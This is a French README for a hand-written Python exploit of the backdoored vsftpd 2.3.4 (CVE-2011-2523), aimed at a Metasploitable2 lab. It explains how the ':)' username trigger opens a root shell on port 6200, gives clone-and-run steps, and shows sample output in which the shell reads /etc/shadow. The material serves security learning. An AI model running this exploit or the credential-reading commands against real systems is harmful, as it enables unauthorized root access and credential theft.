Développement d'exploits à partir de zéro en Python. Pas de Metasploit. Pas de frameworks. Implémentation brute au niveau des sockets de CVE réelles contre des cibles de laboratoire autorisées.
vsftpd (Very Secure FTP Daemon) est un serveur FTP pour les plateformes de type Unix, y compris Linux, distribué sous la licence publique générale GNU.
En juillet 2011, il a été découvert que la version 2.3.4 de vsftpd — disponible au téléchargement entre le 30 juin et le 3 juillet 2011 — avait été compromise. Un attaquant inconnu a obtenu l'accès au serveur de distribution de vsftpd et a injecté une porte dérobée directement dans le code source avant qu'il ne soit livré aux utilisateurs.
Il ne s'agissait pas d'un bug dans la conception de vsftpd. Il s'agissait d'une attaque par la chaîne d'approvisionnement — le logiciel légitime a été remplacé par une version modifiée malveillante.
Le code de la porte dérobée injecté surveille le champ du nom d'utilisateur FTP lors de la connexion.
Si le nom d'utilisateur contient :) (un smiley), la porte dérobée lance un
shell root lié au port 6200 sur la machine cible — sans aucune
authentification requise.
Flux d'attaque :
Attaquant → port 21 (FTP) → envoie USER contenant :) → la porte dérobée se déclenche → un shell root s'ouvre sur le port 6200
Attaquant → port 6200 → shell root interactif complet
Classification CWE : CWE-78 — Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS (injection de commande OS)
Cet exploit est écrit de zéro en Python pur en utilisant uniquement la bibliothèque
standard (socket). Pas de Metasploit. Pas de frameworks d'exploitation. Aucune
dépendance externe.
Étape par étape :
:) pour déclencher la porte dérobée# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
Exemple de sortie :
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| Scénario | Comportement |
|---|---|
| Port 21 fermé | Affiche « Port is closed », quitte proprement |
| Délai de connexion dépassé | Affiche « Connection timed out », quitte proprement |
| Nom d'hôte/IP invalide | Affiche « Invalid target », quitte proprement |
| Mauvaise version de vsftpd | Affiche un message de non-concordance, quitte proprement |
| Port 6200 inaccessible | Affiche un message d'échec de la porte dérobée, quitte proprement |
Cet exploit est développé strictement à des fins éducatives et pour la recherche en sécurité autorisée uniquement.
Construit et testé exclusivement contre une machine virtuelle Metasploitable2 locale dans un environnement de laboratoire entièrement isolé.
N'utilisez pas ceci contre un système que vous ne possédez pas ou pour lequel vous n'avez pas la permission écrite explicite de tester. L'utilisation non autorisée est illégale en vertu du Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans le monde entier.
L'auteur n'accepte aucune responsabilité pour l'utilisation abusive de ce code.
Rushikesh Bhujbal
Recherche en sécurité et développement d'exploits
GitHub